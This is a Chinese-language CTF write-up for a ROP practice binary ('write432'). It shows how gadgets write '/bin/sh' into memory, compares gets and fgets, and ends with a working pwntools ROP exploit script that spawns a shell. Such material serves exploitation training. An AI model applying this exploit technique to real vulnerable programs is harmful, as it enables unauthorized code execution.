还是一一样的没有binsh字符串
所以我们需要继续读取字符串到内存当中
在id中寻找函数 发现并没有我们想要的提权函数
我们可以尝试着搜索gadgets去寻找我们想要找到的
看到有汇编代码
mov dword ptr[edi],ebp
和 pop edi ebp
pop edi ebp
后面就跟参数edi 放地址,ebp放数值。
就可以将ebp的数值放在edi位置上
直接利用这两个gadgets得到
就应该兴奋起来了 因为可以利用这么两段gadgets进行对我们想要让其赋值的地点对内存进行赋值操作
另外fgets函数和gets函数的差别
gets函数不能设定大小 在读取到eof或者换行符的时候结束
fgets函数可以设定大小 所以相对而说比较安全 但是还是可以
fgets是一行一行的读取
gets函数是
gets()函数并不读取换行符'\n',他会换行符替换成空字符'\0',
fgets()函数会读取换行符'\n',他会在读取结束之后添加空字符'\0',
gets函数
从stdio流中读取字符串,直至接受到换行符或EOF时停止,并将读取的结果存放在buffer指针所指向的字符数组中。换行符不作为读取串的内容,读取的换行符被转换为‘\0’空字符,并由此来结束字符串
fgets函数
Love, I Have
Since you can do it.
如果用fgets(str1,6,file1);去读取
则执行后str1 = "Love," ,读取了6-1=5个字符
这个时候再执行fgets(str1,20,file1)则执行后str1 = " I Have\n"
而如果
fgets(str1,23,file1);
则执行str1="Love ,I Have",读取了一行(包括行尾的'\n',并自动加上字符串结束符'\0'),当前文件位置移至下一行,虽然23大于当前行上字符总和,可是不会继续到下一行。而下一次调用fgets()继续读取的时候是从下一行开始读。
from pwn import *
r = process('./write432')
e = ELF('write432')
pop_edi_ebp = 0x080486da
mov_edi_ebp=0x08048670
bss = e.bss()
system = e.plt['system']
pad = 'a'*44
shell = pad
shell+=p32(pop_edi_ebp)
shell+=p32(bss)
shell+='/bin'
shell+=p32(mov_edi_ebp)
shell+=p32(pop_edi_ebp)
shell+=p32(bss+4)
shell+='/sh\x00'
shell+=p32(mov_edi_ebp)
shell+=p32(system)
shell+=p32(0)
shell+=p32(bss)
r.sendline(shell)
r.interactive()
参数不只是存储在栈中才能放进去
也可以直接传入
在p32情况下放数据的时候记得pop 出来参数堆栈平衡